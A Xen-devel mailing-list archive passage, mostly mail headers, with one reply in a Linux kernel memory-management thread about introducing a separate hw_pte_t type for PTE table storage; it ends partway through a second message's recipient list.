 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 11:35:07 +0000
Received: from AM1PEPF000252DB.eurprd07.prod.outlook.com
 (2603:10a6:20b:49d:cafe::1a) by AS9PR06CA0536.outlook.office365.com
 (2603:10a6:20b:49d::35) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Wed,
 29 Jul 2026 11:35:07 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 AM1PEPF000252DB.mail.protection.outlook.com (10.167.16.53) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Wed, 29 Jul 2026 11:35:07 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com (2603:10a6:803:80::16)
 by GV2PR08MB7955.eurprd08.prod.outlook.com (2603:10a6:150:7f::21)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 11:34:00 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4]) by VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4%3]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 11:34:00 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=A0HR24kZDbdXI4a/j+W5uOS1BNTVcKv7x8tvSi2YHu8yMad/MsqwZGb/NJi8uFOBMrlNYmmWl2Rm1nKxAwKIJrtqlG0aWLHOo6JrHn9bcf4K3utuO71Nl9+1W+ekFP5rGPxQBBpx5HrbmNFZadcP0x9jySqIOAyqj6LdmM9kUkWd0qyyU802LfbuUMQ4tnfybtQMdwsuh8O9YkkFd6612CLEKxnn/+AQ7d99YwOO2BRdond9yAORF2pEENKAgd+jbsLLdNHoWuxoV0zj5fiWlhUQr3pJZp770MynLqO6+nBdD4UKAAaxLJwrii+NKwtA12sJdOVFPbmZZHECix5GRg==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Tgo9GG3IRVIRLC+akaXKtPN8CAdRusLZrRKYCwTPvzE=;
 b=BFsgFfOFx+g1LqdbnsNcP9Mta+fH8KgKvQh9mG1wSSCsa4lSKu3Z0Po77OiEWXhXoJqeQ/W1T5x3erVAQMx1V9WFI48OgQZXz5DMx4DGUMPApsVUL7kc0HvyOQA2v1p//bKfPQ7isPHd8RP6mAVuXj5oLZvT2Q9WK0BF9UsDzEZv6VnIz69O2P2kc1OclYyN8aptYjCkwC7OVa05NdXu4XLXTmaYOL/n02y/oOAPD2l3e9mXOd8SJ6cT700tlmK+0W3akPngcdld/vEBMETeGU3TnG46jgeOWauj8uIj1qEt8THqHPb66Hirtn5aL02L5PKtjRz/z2UnF6YZmzGjww==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=kernel.org smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Tgo9GG3IRVIRLC+akaXKtPN8CAdRusLZrRKYCwTPvzE=;
 b=ksKtZWY285/taAao6Zu94jYQ9CxkEq+fxreWsLvoSuuGlXnU8kVZuGWinZRmgHUqlXh2H8ehJfihGsewMVLpcP0p4NTP5TSWEBd1rlhEOE/htrE5Y72OIC3h18agAcY8Z7LmW4ODIa3lVlkSosdTORWVuiQa5ownc1NjI4R50Dw=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=LSnYCeslggQxQSwqDV21tCiTCB6yv8A+BS3ksQcSqchYF8y/ZNsAtgL0N35LiyfAZzzgu6CFfPr+4Z/jtZITRHUsUumNcy5zzVQAnPqM3VRufn9reQPjHWPaK8Pj7EDfD37hxf743LYKws4P1U7yZLiZhTQTebxZdAfvX0pxn8qBK/O59CWXr/vIup/HsaO52swjgJ3vZIVe6gEa8AZJVLfmK3gMj3QRTDNYKxJdKZkQvGnCTqjLIUS7CMlceliqGPUFH8bRlOqeuLnsULe/0Tj0P/2E4g0W9AMwkNBpIFShHrEEk41mfUoVPibG4ot/fWkN1/fW69dPWS3InikcOQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Tgo9GG3IRVIRLC+akaXKtPN8CAdRusLZrRKYCwTPvzE=;
 b=t0rDZriZ6OpjaJ3T+spCrkqxr0d5LZEkUqpA31+K0IeeP51GOkFxCAm2lAS5Q8F4u+dt4CDGHN+ySvjZ4FoheyMLxqAS+fzUEP5vxGEUC60TZkjJkpGBrEpiRHexoSmk49tdqfDRLFPFbhEaUy7T533Xf7eXs+VOcyrb3fPt/B9ApU1SwduBz3HHS2tK887X0YwWfuYfMY+/QuzU4kLdOyosqkubs/H7/w7YG+0PvbVto5HiaqcGCYxIHmgnJKvJwFzs/yQdDJzfyfMvIBGONVO9ZuXztwHAERguCkH3mp7H0xn/Vn9Usf3vRW8AcTTCAVVTyezLQTu4dQxTarwKcw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Tgo9GG3IRVIRLC+akaXKtPN8CAdRusLZrRKYCwTPvzE=;
 b=ksKtZWY285/taAao6Zu94jYQ9CxkEq+fxreWsLvoSuuGlXnU8kVZuGWinZRmgHUqlXh2H8ehJfihGsewMVLpcP0p4NTP5TSWEBd1rlhEOE/htrE5Y72OIC3h18agAcY8Z7LmW4ODIa3lVlkSosdTORWVuiQa5ownc1NjI4R50Dw=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <46319967-0338-4532-b953-dbea77084fe3@arm.com>
Date: Wed, 29 Jul 2026 12:33:57 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
To: "David Hildenbrand (Arm)" <david@kernel.org>,
 Alexander Gordeev <agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
 <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
 <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
In-Reply-To: <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P123CA0161.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:188::22) To VI1PR08MB3421.eurprd08.prod.outlook.com
 (2603:10a6:803:80::16)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	VI1PR08MB3421:EE_|GV2PR08MB7955:EE_|AM1PEPF000252DB:EE_|AMBPR08MB11653:EE_
X-MS-Office365-Filtering-Correlation-Id: 1cfd4d6e-e159-4f74-d058-08deed6570e2
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|23010399003|376014|1800799024|7416014|366016|56012099006|4143699003|11063799006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info-Original:
 xfbEy9xFy2KjtgbtZQwVRo/4rDSmq7tan+BAO+pWdsGQt606AZahYR8QjfxNwepbtpCMtOOt+8wN6/aZUrVxGXdve9SNgmI8m3i49FVH1QvKzgN5iWDAyc/qG37Ap0G5Y97odKPEnoyFqd5WWCZrVDk5WcqlYn1UwCiLpvduHOQ4yKJHDxymZa3ezH7yIgpM65fy1J5UWO78alRqVRYlrkDOFWL2EaCUXoJxhmlAjJf/9UOgfdXHsNXdCO/znX3umbrqmhM0sQPcJ5r2VzRsoQeAv+i6QegXoExunECasQNkLXlSXuF1rfAjl27hyVJfWLP1kh6Wm1wg//SMzutnVr0XBV1zVP+5KkRjixIEliIfiHgPajlHGFEg0DSfY+ITRVfPTuzgauKHtZXF4IJPVHsDbIGz7qKh3qavST24XYL4oY8gg7unjuuFv0XeSHMU+/FxCkxzesBUNQBZN/20qiLgprM6KvcPUSbXs7HPQiJI0p45cXsivdzB+efiv0xLdN4ZMqtdCHKXfaRp/J6a1owLvwowpLkBOkJkar4nFaDFO7GgG4qvbOjtHKBP5iQNtpNOHdII6lgDMrPlunWF1g3wYJI2ezCDEC9O7KZd6Sf89Vm+sXMSJ5YifvkjccdnRSEDGI26zF05DhcTtdnoNfWBagvIF7AW8rx0Rv6l+2k=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:VI1PR08MB3421.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(7416014)(366016)(56012099006)(4143699003)(11063799006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 bfpSLQDM89AGYUqYoFAxdTSUxQeWzvqrXWN01Q8nSdOHv09YbMqZwEkh4De+S90bWZhKDnix564/0iluBMAaDBLsP/eTzmgwj8zSC8MqbERlfS0mpGodCyOiNyPtSf7Pe+nzMgJoUgaYugPoxE6pM543p0DW/yTGW6oZ7bODJ5DM1V+j55iRlovzyeqTGf9Sb2QjeloUSNBQhR4N/qRtUg106VYsNxb8LiTmvTM4/T7wuyg3rWvD8R0cLWaftev4/sKlE31/5RJ3yOUwg/+bPmqGyASd1WLyfVazwE4VmC1+AShpm0prYuFDu0FzTmqdeirtBDGb4Y/uPepsm/ldrw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GV2PR08MB7955
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 AM1PEPF000252DB.eurprd07.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	191f0cd4-83b2-41b7-9c2f-08deed6548c6
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|14060799003|1800799024|82310400026|35042699022|36860700016|376014|7416014|23010399003|22082099003|18002099003|4143699003|11063799006|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	z16m1iP5gJN11a0jHm2h5qPOvpYoNr0dsqnEGISR6jYEFwxRynbmbpuiqBvgMacxSIEx5YgZ1PwjI/B9Sb9qPESFT+ZKOzcpvp5wGg5c8wFb5VifVw9YxWu3jtI1X8Y0UKz7eDfqmnn4zZCjk9sUGyf8kW5nyjz3XUG3wcikRyU77msznLp6gKihMrp7u+N5DfYb/ZDcfjTyI7Rlr79hpWV2IcgXmQNbclHFb6Rq6JKpIdfruwnLVHkKlTWBUzeNugtyI3rXG4GiTCpREqnQ1bwnzXH3ZnCHuRsWA1Olns91kFs21geX+8loQjA3qKxaOU5s+fbSJhCwxoUhOT8ccWvQ69YVooyCBgyvKfCZHpy31IRO4xc33DWQzHXuNhS8Fl3qzZSyIjpOgukT90izO06tZEBoOeC2N2dPYJapJN+F+L4pTMNfznbH2+UtMKogru9eNptrEb+M8/uJKDP0mf7A03ZcH7pWmbm/a2H5kgRcDgkK8hcF5kjrjKAbvKNxkvHQqA0GpT1YZ0rl651rwF1U/tgwvIkXpDYm1PKALpA+velo2OYakXWZdXf9KYpJITaddu7xFyAb8yeSZB7/l5loYr/hKxTr/1/ItLgUkYm2YR/d4z5RRKPprkSOic3eWuDYHegrbt3MuncmtPR/bd5+17L8W730bwCGNTOzAyDzLqbC1ZA4nkYvfNni0/DwtNnIs7/ljjvCCXn5zPInpQ==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(14060799003)(1800799024)(82310400026)(35042699022)(36860700016)(376014)(7416014)(23010399003)(22082099003)(18002099003)(4143699003)(11063799006)(56012099006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	ENzrXljKBm6j88ocfFU+EglvTRz9gwEO2XclvPfJlM0SMYPml8qBN7VBr1UkWY8PlHkL84VSx17YuFpoNXHSN9TAEg+fpXudNoKAQuufrKipXBvCdefFXy/otThCc4mhQCcQIzvdSgFZ2/NXWMDasEHm6joFxEaxOzo0pcNvuM/aKekIYFDqxzwKJpVTyGnsVF72jogbVQ1JvzKGEjGbLVgAnhQkZkVN0pNBp+RVkEGrGe8Mf4yb60Ze8uXoz2VgXcZr3jpOAKd3Hk5uwBWM0yd1FD0l4DqE6NotxNQLr8TTkmipYeqe+WEdDNGs9SBaDTvggiqSszP5Ujwp8VFA7i5mZo1Dt63ktCIBR3GP7Di9PrmjkWf1b5iHgiGDuvKuGlAVCe9fHk8Kj9WPYVctHjkR3F3VoAIqJE/PdzZeunCxtniBF9CW0J/7gL7gFZC0
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 11:35:07.3851
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 1cfd4d6e-e159-4f74-d058-08deed6570e2
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	AM1PEPF000252DB.eurprd07.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AMBPR08MB11653
X-purgate-ID: tlsNG-4011c0/1785324914-504CFCFC-06B8C1DE/0/0
X-purgate-type: clean
X-purgate-size: 1777

On 29/07/2026 12:05 pm, David Hildenbrand (Arm) wrote:
> On 7/29/26 12:13, Alexander Gordeev wrote:
>> On Tue, Jul 28, 2026 at 09:26:06PM +0200, David Hildenbrand (Arm) wrote:
>>>> The generic definition aliases hw_pte_t to pte_t, so this series preserves
>>>> the representation and behaviour of every architecture. ptep_get() keeps
>>>> its existing READ_ONCE() semantics and converts the stored element through
>>>> __pte_from_hw(). An architecture can later define a distinct hw_pte_t and
>>>> convert its PTE interfaces to make the distinction compiler-enforced.
>>>> Architecture PTE implementations and most architecture code are
>>>> deliberately left for those later opt-in conversions.
>> ...
>>> Do you have a pointer at the arm64 part, so people can get a feeling for how an
>>> actual hw_pte_t implementation can look like.
>>
>> May be we need the generic hw_pte_t implementation as { pte_t pte; }
>> right away?
> 
> Indeed, that makes sense. We just need a way for the architecture to opt-in that
> it did the conversion.
Yeah and architecture cannot opt-in until its converted. So we should leave
it to architecture to define hw_pte_t.

> 
>>
>> Also, can you envision a case when sizeof(pte_t) != sizeof(hw_pte_t)?
>> If not, the compile-time check is worth adding.
> 
> That wouldn't work as is. We'd have to intercept ptep++ and instead have a
> helper to advance the ptep pointer.
> 
> One idea for that would be to let the compiler catch that by marking hw_pte_t an
> undefined struct (unknown size), such that the compiler would indicate any usage
> of ptep++ properly.
> 
> That can be done when it would actually required, so as a first step having a
> generic hw_pte_t would just work.
> 

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:45:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:45:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375555.1622682 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2ih-0001qA-Jm; Wed, 29 Jul 2026 11:45:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375555.1622682; Wed, 29 Jul 2026 11:45:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2ih-0001q3-H9; Wed, 29 Jul 2026 11:45:07 +0000
Received: by outflank-mailman (input) for mailman id 1375555;
 Wed, 29 Jul 2026 11:45:06 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <agordeev@linux.ibm.com>) id 1wp2ig-0001px-8p
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:45:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2if-007RWn-EA
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:45:05 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a69e7b5-2eae-0a2a0a5409dd-0a2a450ad838-20
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:45:05 +0200
Received: from [148.163.158.5] (helo=mx0b-001b2d01.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a69e7be-f2d2-0a2a450a0019-94a39e057f7a-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:45:03 +0200
Received: from pps.filterd (m0360072.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66TBI9Rp4077212; Wed, 29 Jul 2026 11:44:24 GMT
Received: from ppma13.dal12v.mail.ibm.com
 (dd.9e.1632.ip4.static.sl-reverse.com [50.22.158.221])
 by mx0a-001b2d01.pphosted.com (PPS) with ESMTPS id 4fmuwd1p2u-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Wed, 29 Jul 2026 11:44:23 +0000 (GMT)
Received: from pps.filterd (ppma13.dal12v.mail.ibm.com [127.0.0.1])
 by ppma13.dal12v.mail.ibm.com (8.18.1.7/8.18.1.7) with ESMTP id 66TBfHNq029357;
 Wed, 29 Jul 2026 11:44:22 GMT
Received: from smtprelay03.fra02v.mail.ibm.com ([9.218.2.224])
 by ppma13.dal12v.mail.ibm.com (PPS) with ESMTPS id 4fn9pgeadd-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Wed, 29 Jul 2026 11:44:22 +0000 (GMT)
Received: from smtpav04.fra02v.mail.ibm.com (smtpav04.fra02v.mail.ibm.com
 [10.20.54.103])
 by smtprelay03.fra02v.mail.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 66TBiKQM31916432
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Wed, 29 Jul 2026 11:44:20 GMT
Received: from smtpav04.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 992952004B;
 Wed, 29 Jul 2026 11:44:20 +0000 (GMT)
Received: from smtpav04.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 288E620043;
 Wed, 29 Jul 2026 11:44:19 +0000 (GMT)
Received: from li-008a6a4c-3549-11b2-a85c-c5cc2836eea2.ibm.com (unknown
 [9.224.92.206])
 by smtpav04.fra02v.mail.ibm.com (Postfix) with ESMTPS;
 Wed, 29 Jul 2026 11:44:19 +0000 (GMT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=pp1 header.d=ibm.com header.i="@ibm.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ibm.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=pp1; bh=V/Gc5b6Kanb7gJZ6LuCqbHgIfbcHiL
	UID8lNDkmdkBk=; b=szQcOSDicNI1Fn0H7xW/dMFikndq57iS0AEADbTHurKpEJ
	rd11kf+v/K4k3OaPX2DwPIScg0o+GL2hoyX8zqoHbYXdT0lSMDdG2vUgrwbDAvmS
	GAkXnnb9JBVhPcfVoGJY1DSA/6xfq5K9WNKizak7KaKjt/Dc2/+JfX8nFAp5plmo
	u0a4AxRt+xdBtl/2NsNsMcf1ZDG6Qjqw5xDVM5TyjGqcQsLSIksGXsQcQlaj/plp
	JuFSfwIB5TVS6mlK0Oz0clytfcFfXgk9OoMJ2+E1DEvmvdCalj6j+Xxe5b2oQCY7
	x4RvKe8ts/TDSPuLOoLmIyWAmZfVZWIqbDTv23XQ==
Date: Wed, 29 Jul 2026 13:44:17 +0200
From: Alexander Gordeev <agordeev@linux.ibm.com>
To: "David Hildenbrand (Arm)" <david@kernel.org>
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
        Jani Nikula <jani.nikula@linux.intel.com>,
        Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
        Rodrigo Vivi <rodrigo.vivi@intel.com>,
        Tvrtko Ursulin <tursulin@ursulin.net>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Dimitri Sivanich <dimitri.sivanich@hpe.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
        Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Muchun Song <muchun.song@linux.dev>,
        Oscar Salvador <osalvador@suse.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        "Liam R. Howlett" <liam@infradead.org>,
        Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>,
        "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
        Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
        Andrey Ryabinin <ryabinin.a.a@gmail.com>,
        Pasha Tatashin <pasha.tatashin@soleen.com>,
        Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>,
        Uladzislau Rezki <urezki@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Masami Hiramatsu <mhiramat@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        Daniel Borkmann <daniel@iogearbox.net>,
        Andrii Nakryiko <andrii@kernel.org>,
        Eduard Zingerman <eddyz87@gmail.com>,
        Kumar Kartikeya Dwivedi <memxor@gmail.com>,
        Ingo Molnar <mingo@redhat.com>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
        "Matthew Wilcox (Oracle)" <willy@infradead.org>,
        Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>,
        Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>,
        Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>,
        Christoph Lameter <cl@gentwo.org>, Mike Rapoport <rppt@kernel.org>,
